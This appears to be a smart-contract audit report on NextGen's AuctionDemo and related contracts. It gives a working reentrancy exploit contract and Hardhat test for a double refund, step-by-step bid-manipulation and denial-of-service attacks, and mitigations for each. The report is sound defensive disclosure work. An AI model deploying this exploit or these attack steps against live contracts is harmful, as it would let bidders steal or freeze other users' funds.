NextGen - Arabadzhiev's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

Some bidders will be able to get a double refund of their deposited eth, while others won't be able to get a refund at all.

Proof of Concept

In the current implementation of the AuctionDemo contract, both the cancelBid and cancelAllBids functions are comparing the block.timestamp to the auctionEndTime using a less than or equal to comparison. This is fine on its own, but because in the claimAuction function we are also comparing the same values using greater than or equal to, we have an issue. The issue is that if the block.timestamp equals the auctionEndTime, a malicious user that has placed a bid, can call cancelBid/cancelAllBids from their receive function, when they receive their eth refund from claimAuction. That way, they will get back double the amount of their bid, while other legit users will not be able to get a refund at all. As we know, tweaking the block timestamp up a bit in order to satisfy the above condition is definitely within the realm of possibility and can easily happen if the right incentives are in place.

A Proof of Concept (PoC) demonstrating a very basic scenario of how this can be exploited is provided bellow.

To get the PoC up and running, follow these steps:

1. In the hardhat/smart-contracts directory, create a new file named AuctionDemoDoubleRefundee.sol
2. Paste the following code in the file you just created:

pragma solidity 0.8.19;

import './AuctionDemo.sol';

contract AuctionDemoDoubleRefundee {
    auctionDemo public aucitonDemoInstance;
    uint256 public targetTokenId;

    constructor(address _auctionDemoAddress, uint256 _targetTokenId) {
        aucitonDemoInstance = auctionDemo(_auctionDemoAddress);
        targetTokenId = _targetTokenId;
    }

    function placeBid() external {
        aucitonDemoInstance.participateToAuction{value: address(this).balance}(targetTokenId);
    }

    receive() external payable {
        if(aucitonDemoInstance.minter().getAuctionEndTime(targetTokenId) == block.timestamp) {
            aucitonDemoInstance.cancelAllBids(targetTokenId);
        }
    }
}

3. Import the mine and time utilities from @nomicfoundation/hardhat-toolbox/network-helpers at the top of the hardhat/test/nextGen.test.js file like so:

const {
- loadFixture
+ loadFixture, mine, time
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")

4. Paste the following test at the bottom of the the NextGen Tests describe block in the hardhat/test/nextGen.test.js file:

// PoC test
  it.only("should receive double the Ether that they originally bided with, while the auction owner should not receive anything", async () => {
    const initialBlockTimestamp = (await ethers.provider.getBlock("latest"))
      .timestamp;

    // **Setup logic starts here**
    await contracts.hhCore.addMinterContract(contracts.hhMinter);
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    await contracts.hhCore.createCollection(
      "Test Collection 5",
      "Artist 5",
      "For PoC",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );

    await contracts.hhCore.setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      1, // _maxCollectionPurchases
      50, // _collectionTotalSupply
      200 // _setFinalSupplyTimeAfterMint
    );

    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      BigInt(1000000000000000000), // _collectionMintCost 1 eth
      BigInt(100000000000000000), // _collectionEndMintCost 0.1 eth
      0, // _rate
      200, // _timePeriod
      2, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      initialBlockTimestamp, // _allowlistStartTime
      initialBlockTimestamp + 1000, // _allowlistEndTime
      initialBlockTimestamp + 2000, // _publicStartTime
      initialBlockTimestamp + 3000, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    const auctionDemoDoubleRefundee = await ethers.getContractFactory(
      "AuctionDemoDoubleRefundee"
    );

    const auctionDemoContract = await auctionDemo.deploy(
      contracts.hhMinter.getAddress(),
      contracts.hhCore.getAddress(),
      contracts.hhAdmin.getAddress()
    );
    const auctionDemoContractOwner = await auctionDemoContract.owner();

    const blockTimestampOffset = 150;
    const auctionEndTime = initialBlockTimestamp + blockTimestampOffset;
    const collectionId = 1;
    const targetTokenId =
      (await contracts.hhCore.viewTokensIndexMin(collectionId)) +
      (await contracts.hhCore.viewCirSupply(collectionId));

    await contracts.hhMinter.mintAndAuction(
      signers.addr1,
      "Mock token data",
      0, // _saltfun_o parameter
      collectionId,
      auctionEndTime
    );

    await contracts.hhCore
      .connect(signers.addr1)
      .approve(auctionDemoContract.getAddress(), targetTokenId);
    // **Setup logic ends here**

    // First user places a bid
    await auctionDemoContract
      .connect(signers.addr2)
      .participateToAuction(targetTokenId, { value: BigInt(1e18) }); // 1 eth

    // We deploy our exploiter contract
    const auctionDemoDoubleRefundeeContract =
      await auctionDemoDoubleRefundee.deploy(
        auctionDemoContract.getAddress(),
        targetTokenId
      );

    const exploitBidAmount = BigInt(2e18); // 2 eth

    await signers.owner.sendTransaction({
      to: auctionDemoDoubleRefundeeContract.getAddress(),
      value: exploitBidAmount,
    });

    // We place our bid from the exploiter contract
    await auctionDemoDoubleRefundeeContract.placeBid();

    // Two more bids take place
    await auctionDemoContract
      .connect(signers.addr3)
      .participateToAuction(targetTokenId, { value: BigInt(3e18) }); // 3 eth
    const winningBidAmount = BigInt(4e18); // 4 eth
    await auctionDemoContract
      .connect(signers.addr2)
      .participateToAuction(targetTokenId, { value: winningBidAmount });

    // We fast-forward to the auctionEndTime - 1 second (we are subtracting one second from it
    // because for some reason, when the claimAuction call is made, the timestamp is incremented by 1)
    await time.increaseTo(auctionEndTime - 1);

    const aucitonOwnerBalanceBefore = await ethers.provider.getBalance(
      auctionDemoContractOwner
    );

    // The winner claims their rewards
    await auctionDemoContract
      .connect(signers.addr2)
      .claimAuction(targetTokenId);

    // Verifiying that the timestamp was incremented by 1 during the claimAuction call (so that we are sure
    // the claimAuction call was made exactly on the auction end timestamp)
    const currentTimestamp = (await ethers.provider.getBlock("latest"))
      .timestamp;
    expect(currentTimestamp).equal(auctionEndTime);

    // And as expected, the exploiter contract was sent double their initial deposit (2 eth * 2 = 4 eth)
    const exploitContractBalanceAfter = await ethers.provider.getBalance(
      auctionDemoDoubleRefundeeContract.getAddress()
    );
    console.log("Ballance after exploit: ", exploitContractBalanceAfter); // This is going to be printed just above the gas report table (should be equal to 4e18)
    expect(exploitContractBalanceAfter).equal(exploitBidAmount * BigInt(2));

    // Even though the auction contract owner should have received the eth amount from the winning bid,
    // he did not receive anything, because the contract did not have enough funds to fulfill that transfer (because of the exploit)
    const aucitonOwnerBalanceAfter = await ethers.provider.getBalance(
      auctionDemoContractOwner
    );
    expect(aucitonOwnerBalanceAfter).equal(aucitonOwnerBalanceBefore);
  });

5. Run npx hardhat compile in the hardhat directory
6. Run npx hardhat test in the hardhat directory

Tools Used

Manual Review, Hardhat

Recommended Mitigation Steps

Remove the less that or equal to operator in both the cancelBid and cancelAllBids functions and replace it with a less than operator.

function cancelBid(uint256 _tokenid, uint256 index) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

function cancelAllBids(uint256 _tokenid) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L126 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L137

Vulnerability details

Impact

The NFTs that are being auctioned will be sold for practically nothing.

Proof of Concept

In the current implementation of the AuctionDemo contract there are no limitations to which bids can be canceled. As long as the person trying to cancel a given bid is its owner and the bid is in an active state, it can be canceled. However, there is a way in which this can be exploited. Just when a new auction starts, a malicious user can place a very high bid, much higher than the current market value of the auctioned NFT. That way, other users won't participate in this auction, since that won't make any sense to them economically. Then, just when the auction is about to end, the malicious user can simply cancel their initial bid, and place a new one that is very small. By doing this, if no other user places a higher bid before the auction ends, the malicious user will win the NFT that is being auctioned without paying anything (or practically anything).

To get a better understanding of this exploit can take place, let's take a look at a step-by-step example scenario of it:

1. A new auction starts
2. Just after it starts, a malicious user places a crazy high bid on it of let's say, 10 ETH, while the estimated marked value of the auctioned NFT is 1 ETH.
3. Since no other user will have interest in participating in the auction, the malicious user simply waits
4. In the last block before the auction end, the same malicious user cancels their initial bid and places a very small one after that of let's say 1 WEI
5. The auction comes to an end
6. The user calls the claimAuction function and claims the NFT that they just won

Tools Used

Manual Review

Recommended Mitigation Steps

Don't allow the current highest bid to be canceled.

function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
-       require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
+       require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true && auctionInfoData[_tokenid][index].bid != returnHighestBid(_tokenid));

function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
-           if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
+           if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true && auctionInfoData[_tokenid][i].bid != returnHighestBid(_tokenid)) {

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The AuctionDemo::claimAuction will become permanently bricked, which means that all non-winning bids that were placed while the auction was active will not be able to be refunded, the Ether from the winning bid will not be able to be sent to the contract owner, and the auction winner will not be able to receive his NFT.

Proof of Concept

Let's take the following example:

1. A new auction starts
2. Just after it starts, a malicious user places a dust amount bid on it, through a contract that loops endlessly in its receive function
3. After that, the auction goes on as normal, users place bids back and forth and everything seems to be fine
4. The auction comes to an end
5. The auction winner proceeds to call the AuctionDemo::claimAuction function in order to claim the NFT that they just won.
6. Unfortunately for him though, the function reverts, since the block gas limit was reached, due to the endless loop inside the receive function of the malicious bidder contract. And the function will keep on reverting, no matter how many times it gets called.

Please note: In this example, the malicious bidder is the first one to place a bid, but this is not strictly necessary. The malicious bid can be placed at any time during the auction, as long as it is not the winning bid (since the Ether from that one gets sent to the contract owner instead of being refunded). The provided example is just the worst-case scenario, where the attacker performs the exploit in the cheapest way possible.

Tools Used

Manual Review

Recommended Mitigation Steps

Add a gas cap to the refund call.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

All non-winning user bids won't be able to be refunded and the contract owner won't be able to receive the ETH from the winning bid

Proof of Concept

The safeTransferFrom call that is being made in the AuctionDemo::claimAuction function, in order to send the auction winner their NFT, can revert, both intentionally and unintentionally. For example, it can revert if the receiver address does not implement the IERC721Receiver interface, or it can also revert if the onERC721Received function that is called within safeTransferFrom reverts. If some of those scenarios take place, the claimAuction function will be DoSed, possibly forever, depending on the root cause of the revert.

To help visualise the problem further, let's take a step-by-step example of how it can occur unintentionally:

1. A new auction starts
2. Users start placing bids back and forth
3. The auction comes to an end
4. The auction winner calls the claimAuction function in order to claim the NFT that they just won
5. Unfortunately for all auction participants though though, since the winner does not implement the IERC721Receiver interface, his transaction gets reverted. And it will keep on reverting no matter what the he does and how many times the function gets called. All of the auction funds are now stuck within the contract forever.

Tools Used

Manual Review

Recommended Mitigation Steps

Extract the safeTransferFrom call into a separate function.

Assessed type

DoS

[L-01] Missing or equal comparisons in one of the if statements in the MinterContract::getPrice function will lead to bumping up of the price to the maximum at the very end of the sale

Lines Of Code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L540

Impact

Users will be disincentivised from participating in the NFT collection sale at the end of it.

Vulnerability Detail

Instead of returning a price that is equal to the end (lowest) price for the given NFT collection sale, the getPrice function will return the start (highest) price, in turn, disincentivising users from buying NFTs at the very end of the sale. This is due to the less than comparison not being less than or equal to. The greater than should not lead to any bad side effects, but it should still be changed to greater than or equal to for the sake of consistency.

Recommended Mitigation Steps

Remove the greater than and less than operators and replace them with a greater than or equal to and less than or equal to operators.

function getPrice(uint256 _collectionId) public view returns (uint256) {
        uint tDiff;
        if (collectionPhases[_collectionId].salesOption == 3) {
            // increase minting price by mintcost / collectionPhases[_collectionId].rate every mint (1mint/period)
            // to get the price rate needs to be set
            if (collectionPhases[_collectionId].rate > 0) {
                return collectionPhases[_collectionId].collectionMintCost + ((collectionPhases[_collectionId].collectionMintCost / collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId));
            } else {
                return collectionPhases[_collectionId].collectionMintCost;
            }
-       } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
+       } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp >= collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){

[L-02] The chance of returning the first random word from the randomPool::randomWord function is double compared to the others and the chance of returning the last word is 0

Lines Of Code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/XRandoms.sol#L28-L32

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/XRandoms.sol#L41

Impact

The chance of returning the first word is double the chance of returning any other word, while the chance of returning the last word is none, which theoretically makes the function "non-random".

Vulnerability Detail

In the randomPool::randomWord we are encoding a bunch of values, then computing their keccak256 hash, then casting that to uint256 and then finally modulo dividing that value by 100. This means that in the end of all of that, we are going to get a number between 0 and 99. After we get that number, we pass it on to the randomPool::getWord function. However in that function, we see the following piece of code:

        if (id==0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1]; // @QA 0 has double chance of being selected while 99 will never be selected
        }

As we can see, there is special logic that handles the cases where the passed in id equals 0 and where it does not equal 0. Since in that logic, when the id value equals 0, we take it as it is, while in the other case we subtract 1 from it, the chance of returning the first word from wordsList is 2x, while the chance of returning the last word is none ,since the max value of id is 99, while the last index ot the wordsList array is also 99.

Recommended Mitigation Steps

Remove the special zero handling logic in randomPool::getWord and treat all values of id the same way.

function getWord(uint256 id) private pure returns (string memory) {
        
        // array storing the words list
        string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", 
        "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", 
        "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", 
        "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", 
        "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", 
        "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", 
        "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", 
        "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];

        // returns a word based on index
-       if (id==0) {
-           return wordsList[id];
-       } else {
-           return wordsList[id - 1];
-       }
+       return wordsList[id];
    }

[N-01] The NextGenRandomizerVRF inherits Ownable, but it does not utilize any of its functionality

Lines Of Code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/RandomizerVRF.sol#L19

Recommendation

Since none of the functionality from the Ownable contract is being used, it would be better to just remove it, in order to both reduce the complexity of the contract and save some gas on deployment.

[N-02] Unused Ownable import

The following Ownable.sol import is not being used anywhere within the RandomizerNXT contract and would be better of being removed.

Lines Of Code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/RandomizerNXT.sol#L15